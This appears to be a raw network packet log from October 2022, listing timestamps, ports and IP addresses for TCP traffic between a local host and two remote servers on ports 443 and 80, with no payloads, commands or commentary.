Oct 8, 2022 11:35:10.667161942 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.674889088 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.674937963 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.674982071 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.674993992 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675013065 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675028086 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675029039 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675062895 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675183058 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675229073 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675234079 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675241947 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675282955 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675283909 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675297022 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675335884 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675338030 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.675348997 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.675393105 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.676093102 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676146984 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676150084 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.676171064 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676189899 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676211119 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.676218987 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676251888 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.676268101 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.676309109 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.678906918 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.678972960 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679011106 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679014921 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.679035902 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679071903 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.679352999 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679398060 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.679414988 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679430008 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679472923 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679477930 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.679488897 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.679519892 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.679527998 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.703918934 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.703986883 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704027891 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704055071 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704071999 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704077005 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704088926 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704128027 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704134941 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704154015 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704170942 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704199076 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704236984 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704247952 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704284906 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704286098 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704353094 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704365969 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704375982 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704404116 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704438925 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.704447985 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.704520941 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711110115 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711184978 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711209059 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711251020 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711252928 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711267948 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711288929 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711311102 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711318016 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711328983 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711354971 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711381912 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711391926 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711405039 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711448908 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711456060 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711469889 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711503029 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711520910 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711565971 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711576939 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711589098 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711632013 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711638927 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711648941 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711672068 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711697102 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.711707115 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.711746931 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:10.918920040 CEST	443	49711	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:10.971523046 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:11.104933977 CEST	49711	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.211025953 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.212651968 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.241126060 CEST	80	49708	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:17.241240025 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.243125916 CEST	80	49712	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:17.243247986 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.291368961 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.321871996 CEST	80	49712	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:17.323168039 CEST	80	49712	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:17.550173998 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.557290077 CEST	80	49712	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:17.557405949 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:17.874161005 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.874207973 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:17.874304056 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.875184059 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.875197887 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:17.922827959 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:17.922920942 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.941885948 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.941909075 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:17.942223072 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:17.943257093 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:17.943270922 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.121795893 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.121874094 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.121923923 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.121922970 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.121953011 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.121998072 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.122348070 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.122404099 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.122423887 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.122464895 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.123526096 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.123579979 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.125458956 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.125519991 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.125520945 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.125539064 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.125571012 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.140834093 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.140893936 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.140899897 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.140911102 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.140955925 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.141571045 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.141638994 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.143145084 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.143205881 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.143255949 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.143261909 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.144622087 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.144675970 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.144692898 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.144700050 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.144751072 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.145867109 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.145937920 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.146872997 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.146946907 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.146955013 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.146964073 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.147011042 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.147839069 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.147905111 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.147907972 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.147922993 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.147969007 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.148859978 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.148920059 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.149873018 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.149930000 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.149933100 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.149945974 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.149986029 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.159893990 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.159943104 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.159977913 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.159986019 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.160032034 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.160238028 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.160305023 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.161277056 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.161324978 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.161361933 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.161367893 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.161422968 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.162241936 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.162307024 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.162647963 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.162688971 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.162710905 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.162717104 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.162755013 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.163583994 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.163647890 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.164329052 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.164390087 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.164416075 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.164422035 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.164464951 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.165113926 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.165174961 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.165199995 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.165205956 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.165254116 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.165846109 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.165909052 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.166565895 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.166626930 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.166639090 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.166645050 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.166686058 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.167197943 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.167263031 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.167269945 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.167279959 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.167323112 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.167330027 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.167346001 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.167390108 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.168216944 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.168276072 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.168301105 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.168306112 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.168351889 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.169118881 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.169189930 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.169199944 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.169205904 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.169245958 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.169258118 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.169265032 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.169321060 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.170010090 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.170094013 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.170099974 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.170115948 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.170192957 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.170197964 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.170898914 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.170960903 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.170965910 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.171094894 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.171144962 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.171153069 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.171168089 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.171210051 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.171890974 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.171955109 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.178951025 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179023027 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179045916 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.179055929 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179080009 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179114103 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.179120064 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179167986 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.179378033 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179430962 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.179436922 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179455042 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.179491997 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.180303097 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.180358887 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.180366993 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.180383921 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.180433989 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.180464983 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.180469990 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.180507898 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181061029 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181118011 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181121111 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181132078 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181174994 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181183100 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181196928 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181241035 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181245089 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181253910 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181287050 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181921005 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.181989908 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.181994915 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182029963 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182070017 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.182075024 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182768106 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182830095 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.182835102 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182852030 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182899952 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.182905912 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182924032 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182965040 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.182971954 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.182990074 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.183026075 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.183599949 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.183674097 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.183676004 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.183692932 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.183728933 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.183744907 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.183789968 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.184417009 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.184478045 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.184480906 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.184498072 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.184540987 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.184547901 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.184561968 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.184609890 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185159922 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185230017 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185231924 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185246944 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185297966 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185305119 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185321093 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185369968 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185374975 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185390949 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185441017 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185446978 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185455084 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.185501099 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.185982943 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.186053038 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.186105967 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.186110020 CEST	443	49713	31.13.92.36	192.168.2.3
